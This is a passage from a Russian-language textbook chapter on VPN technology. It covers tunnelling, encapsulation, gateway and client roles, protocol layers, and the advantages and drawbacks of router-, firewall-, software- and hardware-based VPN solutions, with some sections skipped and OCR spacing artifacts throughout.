В настоящее время наиболее часто встречающееся общее определение ВЧВС та ково: это выделенная сеть на базе общедоступной сети, которая поддерживает кон фиденциальность за счет использования туннелирования и других процедур защиты. Более полно ВЧВС определяется как среда для организации процесса шифрования или инкапсулирования информации, безопасным образом передаваемой затем из од ной точки в другую. При этом безопасность передачи через открытую, незащищен ную, маршрутизируемую сеть связи может обеспечиваться устойчивой технологией шифрования.
Итак, из выше приведенного видно, что в основе технологии ВЧВС лежит идея использования сетей общего пользования для защищенной передачи трафика терри ториально удаленных сетей заказчика, с использованием идеологии построения част ных сетей. Действительно, построение ВЧВС позволяет обеспечить: " безопасный удаленный доступ к информационным ресурсам ЛВС организации со
стороны мобильного или удаленного пользователя;
■ безопасное объединение вычислительных сетей территориально распределенных подразделений одной организации;
■ безопасное подключение к интранет одной организации объекта или объектов вычислительной сети другой организации (например, организации - партнера по бизнесу);
■ защиту информации, передаваемой по каналам связи внутри одной интранет.
Маркетинговая трактовка товара подразумевает, как минимум, две его сущности: потребительскую и физическую. Потребительская сущность ВЧВС - «виртуальный защищенный туннель, или путь», с помощью которого можно организовать удален ный защищенный доступ через открытые каналы Интернета к серверам БД, Web-, FTP- и почтовым серверам. Физическая сущность технологии ВЧВС определяется тем, что она может защитить трафик любых информационных интранет- и экстранет-систем, аудио- и видеоконференций, систем электронной коммерции и т. п.
лей ВЧВС. Он осуществляет автоматическую раздачу сертификатов ВЧВС-устройст-вам и взаимодействие с внешними системами ИОК.
Итак, начав с отдельного средства, обеспечивающего оперативное решение про блемы защиты информации (ВЧВС), мы рассмотрели процесс наращивания системы, добавив некоторые самые необходимые компоненты (ИОК, МЭ и т. д.).
Вопрос о том, нужно ли использовать ВЧВС, если уже есть МЭ (и наоборот), да же не стоит на повестке дня, так как эти решения выполняют абсолютно разные зада чи. Образно говоря, МЭ - это «ограда» вокруг сети, которая препятствует проникно вению сквозь нее злоумышленников, в то время как ВЧВС - это «бронированный ав томобиль», который защищает ценности при вывозе их за пределы ограды. Поэтому надо использовать оба решения для обеспечения необходимого уровня защищенно сти информационных ресурсов. Вопрос совместного применения МЭ и ВЧВС возни кает в случае защиты КС по всем указанным вариантам, кроме ВЧВС на базе МЭ. Существует две крайности - устанавливать МЭ перед ВЧВС-устройством и после не го. В первом случае, возникает ситуация, когда на МЭ из Интернета попадает еще нерасшифрованный трафик, что приводит к невозможности контроля передаваемого содержимого (вирусы, апплеты Java, команды протоколов и т. д.). Во втором случае ситуация несколько лучше, но само устройство ВЧВС становится уязвимым к внеш ним атакам. Кроме того, оно уже не может осуществлять обработку трафика в зави симости от его содержания или пользователя, являющегося получателем данных. Идеальным решением, к которому пришло большинство зарубежных производителей (Check Point, Cisco Systems и т. д.), а также приходят отечественные разработчики -совместить в одном устройстве функции МЭ и ВЧВС. В этом случае указанные про блемы исчезают.
4.4. Туннелирование в ВЧВС
ВЧВС состоит из виртуальных каналов, защищенных протоколов и средств по строения ВЧВС (рис. 51).
Для объединения удаленных ЛВС в ВЧВС используются так называемые вирту альные каналы. Это каналы для передачи информации между средствами построения ВЧВС, которые обеспечивают конфиденциальность и/или целостность передаваемой информации, а также реализует взаимную аутентификацию средств построения ВЧВС.
Средство построения ВЧВС (адаптировано по определению из проекта профиля защиты), или ВЧВС-устройство - это локальное (однокомпонентное) или функцио нально распределенное программное (программно-аппаратное) средство (комплекс), предназначенное для построения ВЧВС посредством использования виртуальных ка налов. Как увидим далее, это может быть шлюз или клиент, ПО или аппаратное сред ство, а также маршрутизатор, МЭ и т. п. Взаимная аутентификация средств построе ния ВЧВС при установлении виртуального канала достигается использованием меха низмов аутентификации.
Протоколы ВЧВС будут рассмотрены далее в отдельном разделе.
Существует 3 основных вида виртуальных каналов для ВЧВС: защищенные, ча стные и промежуточные.
1. Защищенные каналы. Средство построения ВЧВС шифрует весь трафик, пере даваемый удаленному хосту (хост - это компьютер, имеющий уникальный IP-адрес) или сети, и расшифровывает весь трафик, принятый от них. Трафик между хостами в ВЧВС, связанными защищенными каналами, передается свободно, как будто между ними нет ВЧВС-устройства. На самом деле трафик маршрутизируется ВЧВС-устройством. Его обработка прокси-серверами (он ждет директив из сети, пересылает запрос к удаленному серверу, расположенному за пределами защитной системы, по лучает от него ответное сообщение и передает его по назначению) и аутентификация не требуются. Любые 2 хоста внутри ВЧВС, связанные защищенными каналами, мо гут свободно обмениваться данными между собой, и предоставлять все сервисы TCP/IP, которые у них имеются. Защищенные каналы часто используются для соеди нения географически разделенных сетей, принадлежащих одной организации, каждая из которых имеет свое собственное подключение к Интернету через провайдера, в одну виртуальную сеть безопасным способом.
2. Частные каналы. Трафик между ВЧВС-устройством и удаленным хостом шифруется так же, как и для защищенного канала. Но трафик между удаленными хостами, связанными частными каналами, не передается свободно, а должен быть обработан прокси-сервером и соединение аутентифицировано, как того требует обычная политика доступа для прокси-сервера. Этот вид канала обеспечивает аутен тификацию отправителя трафика и конфиденциальность данных, но в данном случае две сети обеспечивают наличие двух различных периметров безопасности, и могут использоваться только те сервисы, для которых сконфигурирована передача прокси-серверу. Частные каналы часто используются для организации связи между сетями различных организаций, которые не хотят предоставлять полного доступа к их сетям, и требуют конфиденциальности трафика между ними.
3. Промежуточные каналы. Эти каналы используются для промежуточной пе редачи зашифрованного трафика между хостами, расположенными за ВЧВС-устройством и входящими в состав другой ВЧВС. Это позволяет ВЧВС-устройству, находящемуся между двух других ВЧВС, быть сконфигурированным так, что он только передает зашифрованные данные. Он не расшифровывает трафик и даже не знает ключа шифрования. Ему надо лишь знать адреса хостов по обе стороны ВЧВС-устройства, участвующих в организации этого канала, чтобы определить, какие за шифрованные пакеты пропускать. Такая архитектура позволяет использовать проме жуточное ВЧВС-устройство как маршрутизатор.
Для организации ВЧВС-соединений применяется механизм туннелирования (tunnel ing), или инкапсуляции (encapsulation). Метод инкапсуляции (вложения) заключается в том, что пограничные маршрутизаторы на отправляющей стороне, которые подключают объединяемые сети к транзитной, упаковывают пакеты транспортного протокола объе диняемых сетей в пакеты транспортного протокола транзитной сети. На принимающей стороне пограничный маршрутизатор выполняет обратную операцию.
При туннелировании пакет протокола более низкого уровня помешается в поле данных пакета протокола более высокого или такого же уровня. Например, при тун нелировании кадр Ethernet может быть размещен в пакете IP, а пакет IPX - в пакете IP. Возможен и такой вариант: пакет IP размещается в пакете IP.
Туннель создается двумя пограничными устройствами - средствами построения ВЧВС, которые размещаются в точках входа в публичную сеть. Инициатор туннеля инкапсулирует пакеты ЛВС (в том числе пакеты немаршрутизируемых протоколов) в IP-пакеты, содержащие в заголовке адреса инициатора и терминатора туннеля. Тер минатор туннеля извлекает исходный пакет. Естественно, при подобной передаче требуется решать проблему конфиденциальности и целостности данных, что не обес печивается простым туннелированием. Конфиденциальность передаваемой корпора тивной информации достигается шифрованием (алгоритм одинаков на обоих концах туннеля).
Особенностью туннелирования является то, что эта технология позволяет зашиф ровать исходный пакет целиком, вместе с заголовком, а не только его поле данных. Исходный пакет зашифровывают полностью, вместе с заголовком, и этот зашифро ванный пакет помещают в другой, внешний пакет с открытым заголовком. Для транспортировки данных по «опасной» сети используются открытые поля заголовка внешнего пакета, а при прибытии внешнего пакета в конечную точку защищенного канала из него извлекают внутренний пакет, расшифровывают и используют его за головок для дальнейшей передачи уже в открытом виде по сети, не требующей защи ты. При этом для внешних пакетов используются адреса пограничных маршрутиза торов, установленных в этих двух точках, а внутренние адреса конечных узлов со держатся во внутренних пакетах в защищенном виде (рис. 52).
Механизм туннелирования можно представить как результат работы протоколов трех типов:
■ протокола-пассажира (инкапсулированного протокола - IP, CLNP, IPX, Apple-Talk, DECnet Phase IV, XNS, VINES и Apollo);
■ несущего протокола (например, транспортного протокола IP);
■ протокола туннелирования (протокола туннелирования сетевых пакетов Generic Routing Encapsulation (общая инкапсуляция маршрутов, GRE), разработанного фирмой CISCO; RFC 2784, 2000 г.).
Транспортный протокол объединяемых сетей (например, протокол IPX, перено сящий данные в ЛВС филиалов одного предприятия) является протоколом-пассажи ром, а протокол транзитной сети (например, протокол IP Интернета) - несущим про токолом (рис. 53).
Процедура помещения пакетов протокола-пассажира в поле данных пакетов не сущего протокола составляет суть протокола туннелирования. Пакеты протокола-пассажира никак не обрабатываются при транспортировке их по транзитной сети. Туннелирование обычно выполняет пограничное устройство (маршрутизатор или шлюз), которое располагается на границе между исходной и транзитной сетями, но этой работой может заниматься и узел-отправитель. Извлечение пакетов-пассажиров из несущих пакетов выполняет второе пограничное устройство, которое находится на границе между транзитной сетью и сетью назначения, либо узел-получатель.
В общем случае протокол туннелирования определяет: ■ основные принципы осуществления инкапсуляции: на каком уровне модели OSI осуществляется обработка пакетов (протокол-пассажир), в пакеты какого уровня они будут инкапсулированы (несущий протокол), а также форматы заголовков, управляющие сообщения, процедуры установления туннеля и другая информа ция, определяющая работу протокола;
■ принципы фильтрации пакетов, процедуры настройки и согласования критериев фильтрации;
■ используемые криптографические алгоритмы для аутентификации сторон, под тверждения подлинности и целостности сообщений, шифрования сообщений, вы числения хэш-значений, получения* случайных последовательностей, а также ме ханизмы согласования ключевой информации, используемой в работе этих алго ритмов.
4.5. Схема ВЧВС
Суть ВЧВС состоит в следующем [47] — на все компьютеры, имеющие выход в Интернет, устанавливается средство, реализующее ВЧВС - ВЧВС-агент, или, соглас но проекту профиля защиты, средство построения ВЧВС (рис. 54). ВЧВС-агенты при необходимости автоматически шифруют всю исходящую информацию (и соответст венно расшифровывают всю входящую). Они также следят за ее целостностью с по мощью ЭЦП или имитовставок (криптографическая контрольная сумма, рассчитан ная с использованием ключа шифрования). Поскольку информация, циркулирующая в Интернете, представляет собой множество пакетов протокола IP, ВЧВС-агенты ра ботают именно с ними.
Перед отправкой IP-пакета ВЧВС-агент действует следующим образом.
■ Из нескольких поддерживаемых им алгоритмов шифрования и ЭЦП по IP-адресу получателя выбирает нужный для защиты данного пакета, а также ключи. Если же в его настройках такого получателя нет, то информация не отправляется.
■ Генерирует и добавляет в пакет ЭЦП отправителя или имитовставку.
■ Шифрует пакет (целиком, включая заголовок).
■ Проводит инкапсуляцию, т. е. формирует новый заголовок, где указывается адрес вовсе не получателя, а его ВЧВС-агента. Эта полезная дополнительная функция позволяет представить обмен между двумя сетями как обмен между двумя ком пьютерами, на которых установлены ВЧВС-агенты. Всякая полезная для зло умышленника информация, например внутренние IP-адреса, ему уже недоступна. При получении IP-пакета выполняются обратные действия.
■ Заголовок содержит сведения о ВЧВС-агенте отправителя. Если таковой не вхо дит в список разрешенных в настройках, то информация просто отбрасывается. То же самое происходит при приеме пакета с намеренно или случайно поврежден ным заголовком.
■ Согласно настройкам выбираются алгоритмы шифрования и ЭЦП, а также необ ходимые криптографические ключи.
■ Пакет расшифровывается, затем проверяется его целостность. Если ЭЦП неверна, то он отбрасывается.
■ Пакет в его исходном виде отправляется настоящему адресату по внутренней сети.
Все операции выполняются автоматически. Сложной в технологии ВЧВС являет ся только настройка ВЧВС-агентов.
ВЧВС-агент может находиться непосредственно на защищаемом ПК, что полезно для мобильных пользователей, подключающихся к Интернету из разных мест. В этом случае он обезопасит обмен данными только того компьютера, на котором установлен.
Возможно совмещение ВЧВС-агента с маршрутизатором (в этом случае его назы вают криптографическим) IP-пакетов. Ведущие мировые производители в последнее время выпускают маршрутизаторы со встроенной поддержкой ВЧВС, например Express VPN от Intel, шифрующий все проходящие пакеты по алгоритму Triple DES.
Как видно из описания, ВЧВС-агенты создают каналы между защищаемыми се тями, которые обычно называют туннелями. Они «прорыты» от одной сети к другой; циркулирующая внутри информация спрятана от чужих глаз. Кроме того, все пакеты фильтруются в соответствии с настройками (рис. 55). Таким образом, все действия ВЧВС-агентов можно свести к двум механизмам: созданию туннелей и фильтрации проходящих пакетов.
ВЧВС отличают друг от друга многие характеристики: набор функциональных возможностей, точки размещения ВЧВС-агентов, тип платформы, на которой эти средства работают, применяемые протоколы шифрования и аутентификации. Облик ВЧВС во многом определяется типом применяемых ВЧВС-агентов. Производители предлагают разнообразные реализации ВЧВС-агентов: на базе чисто аппаратных ре шений, программно-аппаратных комплексов, либо полностью программные реализа ции.
1. В виде программного решения, устанавливаемого на обычный компьютер, функционирующий, как правило, под управлением ОС Unix. Российские разработчи ки полюбили ОС FreeBSD и именно на ее базе построены отечественные решения «Континент-К» и «Шип». Для ускорения обработки трафика могут быть использова ны специальные аппаратные ускорители, заменяющие функции программного шиф рования. Также в виде программного решения реализуются абонентские пункты, предназначенные для подключения к защищаемой сети удаленных и мобильных пользователей.
Программное решение для ВЧВС - это, как правило, готовое приложение, кото рое устанавливается на подключенном к сети компьютере со стандартной ОС. Из со ображений защиты и производительности для установки ВЧВС-приложений лучше всего выделять отдельные машины, которые должны устанавливаться на всех концах соединения. Ряд производителей (Axent Technologies, Check Point Software Technologies и NetGuard) поставляет пакеты, которые легко интегрируются с про граммными МЭ и работают на различных ОС, включая Windows NT/2000, Sun Solaris и Linux.
Поскольку для построения ВЧВС на базе специализированного ПО требуется соз дание отдельной компьютерной системы, такие решения обычно сложнее для развер тывания, чем аппаратные. Создание подобной системы предусматривает конфигури рование сервера для распознавания данного компьютера и его ОС, ПО, сетевых плат для каждого соединения и специальных плат для ускорения операций шифрования. Такая работа в ряде случаев может оказаться затруднительной даже для опытных специалистов.
С другой стороны, программные решения для ВЧВС стоят относительно недоро го. В зависимости от размера сети можно приобрести ВЧВС-приложение за 2-25 тыс. долл. США без стоимости оборудования, локальных соединений и времени, которое ИТ-персонал или консультанты должны будут потратить на установку и об служивание системы.
2. В виде специализированного программно-аппаратного обеспечения, предна значенного именно для решения задач ВЧВС. Такие устройства могут применяться в тех случаях, когда необходимо обеспечить защищенный доступ большого числа або нентов.
Аппаратные ВЧВС-решения включают в себя все, что необходимо для соедине ния - компьютер, частную (как правило) ОС и специальное ПО. Ряд компаний, в том числе Cisco Systems, NetScreen и Sonic, предлагает целый спектр решений, которые могут масштабироваться в зависимости от количества одновременных ВЧВС-соединений, с которыми предполагается работать, и ожидаемого объема трафика. Примером такого решения является российский комплекс «Континент-К».
Развертывать программно-аппаратные решения, безусловно, легче. Они включают в себя все, что необходимо для конкретных условий, поэтому время, за которое их можно запустить, исчисляется минутами или часами. Еще одним серьезным преиму ществом этих ВЧВС-решений является гораздо более высокая производительность и более высокая по сравнению с другими решениями защищенность. В них исполь зуются специальные печатные платы и ОС, оптимизированные под данную задачу и освобожденные от необходимости поддерживать какие-либо избыточные функции, которые содержатся в универсальных ОС.
К минусам можно отнести их высокую стоимость. Целесообразно ориентировать ся на диапазон цен от 10 тыс. долл. за устройство для удаленного офиса до сотен ты сяч долларов за ВЧВС-концентратор уровня предприятия.
Недостаток таких решений состоит и в том, что управляются они отдельно от других решений по безопасности, что усложняет задачу администрирования инфра структуры безопасности. На первое место эта проблема выходит при построении крупной и территориально-распределенной сети, насчитывающей десятки устройств построения ВЧВС.
3. Интегрированные решения, в которых функции построения ВЧВС реализуют ся наряду с функцией фильтрации сетевого трафика, обеспечения качества обслужи вания или распределения полосы пропускания. Основные преимущества такого ре шения - централизованное управление всеми компонентами с единой консоли и бо лее низкая стоимость в расчете на каждый компонент по сравнению с тем, когда такие компоненты приобретаются отдельно. Самым известным примером такого ин тегрированного решения является VPN-1 от компании Check Point Software, вклю чающий в себя помимо VPN-модуля модуль, реализующий функции МЭ, модуль, от вечающий за балансировку нагрузки, распределение полосы пропускания и т. д. Этот продукт имеет сертификат Гостехкомиссии РФ.
В сети ВЧВС-агенты могут играть роль шлюза или клиента (рис. 56).
Шлюз ВЧВС (gateway) - это сетевое устройство, подключенное к нескольким се тям, которое выполняет функции шифрования и аутентификации для многочислен ных хостов позади него. Согласно проекту уже упоминавшегося профиля защиты ВЧВС-шлюз - это средство построения ВЧВС, устанавливаемое на границе ЛВС или АС, функционирующее в интересах одного, нескольких или всех субъектов (объектов) данной ЛВС или АС, которое обеспечивает создание доверенных каналов между данным средством построения ВЧВС и другими взаимодействующими с ним средствами построения ВЧВС.
Размещение шлюза ВЧВС должно быть аналогично размещению МЭ, т. е. таким, чтобы через него проходил весь трафик, предназначенный для внутренней КС. (Если в сети имеется и МЭ, и ВЧВС-шлюз, то их относительное расположение представля ет собой нетривиальную задачу, требующую особого рассмотрения.) Сетевое соеди нение ВЧВС прозрачно для пользователей позади шлюза - оно представляется им выделенной линией, хотя в действительности прокладывается через сеть с коммута цией пакетов.
В зависимости от стратегии безопасности предприятия исходящие пакеты либо шифруются, либо посылаются в открытом виде, либо блокируются шлюзом. Для входящих туннелируемых пакетов внешний адрес является адресом ВЧВС-шлюза, а внутренний адрес - адресом некоторого хоста позади шлюза.
Шлюз ВЧВС может быть реализован несколькими способами, т. е. в виде отдель ного аппаратного устройства, отдельного программного решения, а также в виде МЭ или маршрутизатора, дополненных функциями ВЧВС.
Клиент ВЧВС (host) - это средство построения ВЧВС, устанавливаемое на отдельной ЭВМ или ПЭВМ, всегда функционирующее в интересах отдельного субъекта - пользователя данной ЭВМ (объекта), которое обеспечивает создание доверенных каналов между данным средством построения ВЧВС и другими взаимодействующими с ним средствами построения ВЧВС. Это программный или программно-аппаратный комплекс, обычно на базе персонального компьютера. Его сетевое транспортное обеспечение модифицировано для выполнения шифрования и аутентификации трафика, которым устройство обменивается с шлюзами ВЧВС и/или другими ВЧВС-клиентами. Ввиду стоимостных ограничений реализация ВЧВС-клиента чаще всего представляет собой программное решение, дополняющее стан дартную ОС, например Windows 2000 или Unix.
Для создания ВЧВС крупного предприятия нужны как ВЧВС-шлюзы, так и ВЧВС-клиенты. Шлюзы целесообразно использовать для защиты ЛВС пред приятия, а ВЧВС-клиенты - для удаленных и мобильных пользователей, которым требуется устанавливать соединения с КС через Интернет. В том случае, когда орга низацию ВЧВС берет на себя провайдер, вся ВЧВС может быть построена на его шлюзах, прозрачно для сетей и удаленных пользователей предприятия.
Как видно из рис. 56, ВЧВС по конфигурации можно разделить на 3 основных ти па: «узел-узел» (host-to-host), «узел-шлюз» (host-to-gateway) и «шлюз-шлюз» (gate way-to-gateway).
Различают ВЧВС-продукты нескольких типов: выделенные аппаратные ВЧВС-шлюзы, выделенные программные ВЧВС-шлюзы, программные ВЧВС-клиенты.
Продолжая рассмотрение подсистем аутентификации в ОИС, приведем схему ау тентификации при ВЧВС-соединении, используя введенные понятия клиента и шлю за (рис. 57). Процесс осуществляется за 7 последовательных шагов, отмеченных на рисунке цифрами.
4.7. Стандартные протоколы построения ВЧВС
4.7.1. Уровни защищенных каналов
При построении ВЧВС одной из наиболее острых является проблема совместимо сти. Конечные точки туннеля ВЧВС должны использовать одни и те же методы вза имной аутентификации, шифрования данных и генерации секретных ключей. Естест венное решение этой проблемы - поддержка каждым ВЧВС-устройством некоторого набора стандартных технологий и протоколов защиты данных, чтобы при установле нии защищенного соединения 2 узла сети в результате переговорного процесса смог ли найти общую технологию и общий протокол. Особенно это важно при организа ции экстранетов, когда недостаточно принять некий стандарт защиты данных в рамках одного предприятия.
В настоящее время процесс стандартизации технологий ВЧВС еще не достиг того уровня, при котором пользователи спокойно могут приобретать ВЧВС-продукты разных производителей, не заботясь об их совместимости. Но значительная часть ра боты в этом направлении уже проделана. В прил. 2 приведен полный список доку ментов (стандартов и проектов стандартов) по протоколам построения ВЧВС.
Важной характеристикой стандартов защищенного канала является уровень моде ли взаимодействия открытых систем OSI, на котором работают протоколы данного стандарта (рис. 58). Напомним, что модель OSI, разработанная Международной орга низацией по стандартизации (ISO), определяет 7 уровней, на которых компьютерные системы взаимодействуют друг с другом, начиная с уровня физической среды пере дачи данных и заканчивая уровнем прикладных программ, используемых для комму никаций.
Защищенный канал можно построить на основе системных средств, реализован ных на разных уровнях стека коммуникационных протоколов (рис. 58, а). Для сравнения (рис. 58, 6) приведено соответствие этих же протоколов стеку протоколов TCP/IP. Конечно, возможен и такой вариант, когда приложение самостоятельно, без обращения к системным средствам, обеспечивает конфиденциальность и целостность передаваемых им данных. Но поскольку в этом случае от прикладного программиста требуются дополнительные затраты усилий, такой вариант редко встречается на практике, разве что для решения весьма специфических задач.
4.7.6. Сравнение функциональных возможностей протоколов
Теперь кратко сравним функциональные возможности рассмотренных протоколов и некоторых других технологий, таких как IP-фильтрация, NAT, прикладные прокси-серверы и AAA-серверы (табл. 12).
Таблица 12. Сравнение возможностей протоколов и технологий защиты
|
Конт роль доступа |
Шифро вание |
Аутен тифи кации |
Кон троль целост ности |
Обмен ключами |
Сокры тие Интер нет-адресов |
Защита от атак повто ром |
Мони торинг сессий |
Под держка UDP |
|
|
IP-фильт рация |
+ |
- |
- |
- |
- |
- |
- |
- |
+ |
|
NAT |
+ |
- |
- |
- |
- |
+ |
- |
+ (соеди нения) |
+ |
|
L2TP |
+ (соеди нения) |
+ (РРР-связи) |
+ (вызо вы) |
- |
- |
+ |
- |
+ (вызо вы) |
+ |
|
IPsec |
+ |
+ (пакеты) |
+ (пакеты) |
+ (пакеты) |
+ |
+ |
+ |
- |
+ |
|
SOCKS |
+ |
опцио нально |
+ (клиент/ сервер) |
- |
+ |
- |
+ (соеди нения) |
+ |
|
|
SSL |
+ |
+ (данные) |
+ (клиент/ сервер) |
+ |
+ |
- |
+ |
+ |
|
|
Прикла дной пркси |
+ |
Обычно нет |
+ (пользо ватели) |
+ |
Обычно нет |
+ |
Обычно нет |
+ (соеди нения и данные) |
Обычно нет |
|
AAA-сервер |
+ (соеди нения) |
некото рые |
+ (пользо ватели) |
- |
Обычно нет |
- |
- |
- |
+ |
4.8. Варианты построения ВЧВС
Выбор решения для построения ВЧВС определяется тремя факторами: размером сети, техническими навыками, которыми обладают сотрудники организации, и объе мом трафика, который планируется обрабатывать. Процесс шифрования данных тре бует существенных вычислительных ресурсов и может перегрузить компьютер, когда несколько ВЧВС-соединений одновременно участвуют в передаче данных. В этом случае, чтобы разгрузить центральный процессор, возможно, придется установить специальные ускорительные платы.
Какой бы путь ни был выбран, все равно придется столкнуться с проблемой управления ВЧВС-устройствами и поддержания согласованных правил безопасности для ВЧВС и МЭ в масштабах всей организации. В этой области успех или неудача в очень значительной степени зависят от квалификации персонала ИТ-службы.
В реальности приходится строить ВЧВС на базе следующих решений [46, 50, 51]: сетевых ОС, маршрутизаторов, МЭ, специализированного ПО и аппаратных средств. Каждое из названных решений имеет свои достоинства и недостатки, которые будут рассмотрены на примере наиболее часто встречающихся в России ВЧВС-продуктов.
Выше рассмотренные протоколы построения ВЧВС могут быть реализованы се тевыми средствами различных категорий:
■ серверами удаленного доступа (RAS), позволяющими создавать защищенные туннели на канальном уровне эталонной модели OSI;
■ маршрутизаторами, которые могут поддерживать протоколы создания ВЧВС на канальном и сетевом уровне модели OSI;
■ МЭ, возможно включающими в свой состав серверы удаленного доступа и позво ляющими создавать ВЧВС как на канальном и сетевом, так и на сеансовом уровне модели OSI;
■ автономным ПО, позволяющим создавать ВЧВС в основном на сетевом и сеан совом уровне модели OST,
■ отдельными специализированными аппаратными средствами на основе специали зированной ОС реального времени, имеющими 2 или более сетевых интерфейса и аппаратную криптографическую поддержку - так называемый «черный ящик ВЧВС» (VPN black box) и ориентированными на формирование виртуальных тун нелей на канальном и сетевом уровне модели OSI;
■ комбинированными пограничными устройствами, которые включают в себя функции маршрутизатора, МЭ, средства управления пропускной способностью и функции ВЧВС.
Серверы удаленного доступа могут включать функции создания виртуальных туннелей при удаленном доступе пользователей к ЛВС. Эти серверы чаще всего под держивают протоколы туннелирования РРТР, L2F и L2TP, соответствующие каналь ному уровню модели OSI. Следует учесть, что не все провайдеры RAS, позволяющих формировать защищенные туннели с удаленными компьютерами, предлагают соот ветствующее клиентское ПО. Поэтому для наиболее часто используемых на компью терах удаленных пользователей ОС типа Windows целесообразно выбирать RAS, поддерживающие протокол РРТР. Данный протокол входит в состав всех Windows выше 98/NT. В ближайшее время ожидается переориентация средств удаленного дос тупа на более совершенный протокол туннелирования L2TP, который, например, реализован в Windows 2000 и выше.
Маршрутизаторы могут поддерживать функции формирования туннелей по умолчанию или в качестве дополнительной возможности, предлагаемой за отдель ную плату. Эти устройства чаще всего ориентируются на создание ВЧВС по прото колам L2F, L2TP и IPSec, соответствующим канальному и сетевому уровням модели OSI. При выборе маршрутизатора в качестве средства создания ВЧВС необходимо обратить внимание на его производительность и загрузку. Если процессор маршрути затора работает с 80-процентной загрузкой без выполнения функций ВЧВС, то до бавление большого числа туннелей ухудшит прохождение всего трафика.
В качестве эффективных средств построения ВЧВС выступают МЭ, которые мо гут включать в свой состав и RAS. Учитывая, что МЭ специально предназначены для защиты информационного взаимодействия с открытыми сетями, можно сделать вы вод, что при реализации этими устройствами и функций создания ВЧВС обеспечива ется комплексная защита информационного обмена. МЭ могут поддерживать любые существующие протоколы построения виртуальных туннелей. На канальном уровне модели OSI могут быть реализованы протоколы РРТР, L2F и L2TP, на сетевом уров не - IPSec и SKIP, а на сеансовом - SSL/TLS и SOCKS.
Важной особенностью современных МЭ как средств построения ВЧВС является возможность контроля не только открытого, но и криптозащищенного трафика. Кон троль доступа со стороны МЭ ко всему трафику, в том числе и туннелируемому, обеспечивает более высокую защиту межсетевого взаимодействия. Такой контроль особенно эффективен, если другую сторону туннеля представляет объект, стратегия защиты которого неизвестна или не внушает доверия. В случае, когда необходим контроль туннелируемого трафика и требуется защищать поток сообщений вплоть до получателя в ЛВС, конечная точка основного туннеля должна находиться на МЭ, ко торый должен после расшифровки и контроля трафика выполнять обратное шифро вание пропускаемых пакетов сообщений. Таким образом, одно из преимуществ ис пользования продуктов туннелирования, тесно интегрированных с МЭ, состоит в том, что можно открывать туннель, применять к нему правила защиты МЭ, наклады вать криптозащиту снова и перенаправлять трафик получателям в защищаемой МЭ подсети. Но если МЭ и без выполнения функций туннелирования обеспечивает низ кую пропускную способность, то реализация ВЧВС только усугубит ситуацию из-за необходимости дополнительных вычислений.
Для реализации протоколов формирования защищенных туннелей разрабатыва ются также специализированные программные и аппаратные средства. Программ ные средства по сравнению с аппаратными устройствами обладают более высокой гибкостью, так как при невысоких денежных затратах обеспечивается возможность модернизации и обновления версий, а также оперативность устранения ошибок. Ряд чисто программных продуктов, функционирующих на соответствующих серверах, может не только создавать защищенные туннели, но и выполнять функции МЭ, а также хэшировать веб-страницы. Аппаратные средства, которые могут быть как одно-, так и многофункциональными, характеризуются более высокой производи тельностью. Пограничные многофункциональные аппаратные устройства включают в свой состав маршрутизатор, МЭ, средства управления пропускной способностью и средства создания ВЧВС. Подобные устройства, которые можно отнести к комплекс ным МЭ, проще обслуживать. Ведь легче использовать один интегрированный поль зовательский интерфейс, чем поддерживать и конфигурировать такие отдельные уст ройства, как маршрутизатор, МЭ, ВЧВС и модуль управления пропускной способно стью. Однако в многофункциональных устройствах производительность одного при ложения зачастую повышается в ущерб другому.
Обобщенные достоинства и недостатки средств создания ВЧВС различных кате горий представлены в табл. 13 [49].
Таблица 13. Достоинства и недостатки средств создания ВЧВС различных категорий
|
Категория |
Достоинства |
Недостатки |
|
ВЧВС на ба зе маршру тизаторов |
Функции поддержки сетей ВЧВС могут быть встроены в маршру тизирующие устройства, что не потребует дополнительных рас ходов на приобретение средств, реализующих эти функции. Уп рощается администрирование ВЧВС |
Функционирование ВЧВС может отрица тельно повлиять на другой трафик. Канал между получателем информации внутри ЛВС и маршрутизатором может стать уязвимым звеном в системе защиты |
|
ПО ВЧВС для МЭ |
Возможен контроль туннелируе-мого трафика. Достигается высо кая эффективность администри рования защищенных виртуаль ных сетей. Обеспечивается комплексная защита информаци онного обмена. Отсутствует из быточность аппаратных плат форм для средств сетевой защиты |
Операции, связанные с шифрованием дан ных, могут чрезмерно загружать процессор и снижать производительность МЭ. Если защищенный туннель завершается на МЭ, то канал между получателем информации внутри ЛВС и МЭ может стать уязвимым звеном в системе защиты. При повышении производительности серверных продуктов аппаратное обеспечение потребуется мо дернизировать |
|
ВЧВС на ба зе специали-зированого ПО |
Возможность модернизации и обновления версий. Оператив ность устранения ошибок. Не требуются специальные аппарат ные средства |
Администрирование ВЧВС может потребо вать отдельного приложения, возможно, даже выделенного каталога. При повыше нии производительности серверных про дуктов аппаратное обеспечение может по требоваться модернизировать |
|
ВЧВС на ба зе аппарат ных средств |
Обеспечивается более высокая производительность. Много функциональные аппаратные устройства облегчают конфигу рацию и обслуживание. Одно-функциональные аппаратные устройства допускают тонкую настройку для достижения наи высшей производительности |
В многофункциональных блоках произво дительность одного приложения повышает ся зачастую в ущерб другому. Однофунк-циональные устройства могут требовать от дельных инструментов администрирования и каталогов. Модернизация для повышения производительности нередко оказывается слишком дорогостоящей или невозможной. Канал между получателем информации внутри ЛВС и аппаратным устройством шифрования трафика может стать уязви мым звеном в системе защиты |
При интенсивном обмене важной информацией между филиалами для построения ВЧВС лучше использовать специализированное оборудование, однако при ограни ченных средствах можно обратить внимание и на чисто программное решение. В случае, кода происходит обмен информацией в небольших объемах, оправданным является использование именно программных средств.
4.9. Виды ВЧВС в зависимости от решаемых задач
Как уже отмечалось выше, ВЧВС можно применять для решения четырех разных задач:
■ для организации глобальной связи между филиалами одной компании (интранет);
■ для соединения частной сети компании с ее деловыми партнерами и клиентами (экстранет);
■ для взаимодействия с КС отдельных мобильных пользователей или работающих дома сотрудников (удаленный доступ);
■ для защиты трафика внутри сети корпорации (интранет).
Согласно этому компания Check Point предлагает выделить 4 основных вида ВЧВС (рис. 81): Intranet VPN, Client/server VPN, Extranet VPN и Remote Access VPN [52, 53].
При образовании туннелей между шлюзами различных ЛВС одного и того же предприятия технология ВЧВС используется для реализации услуг интранета. В результате образуются защищенные интранеты. При прокладке каналов ВЧВС ме жду шлюзами разных предприятий формируется защищенная экстранет. Админист ратор ЛВС должен так настроить ВЧВС-шлюз, чтобы он поддерживал установление виртуальных каналов только с определенными шлюзами своего предприятия (в рам ках интранета), и тех предприятий, с которыми оно обменивается конфиденциальной информацией (в рамках экстранета).
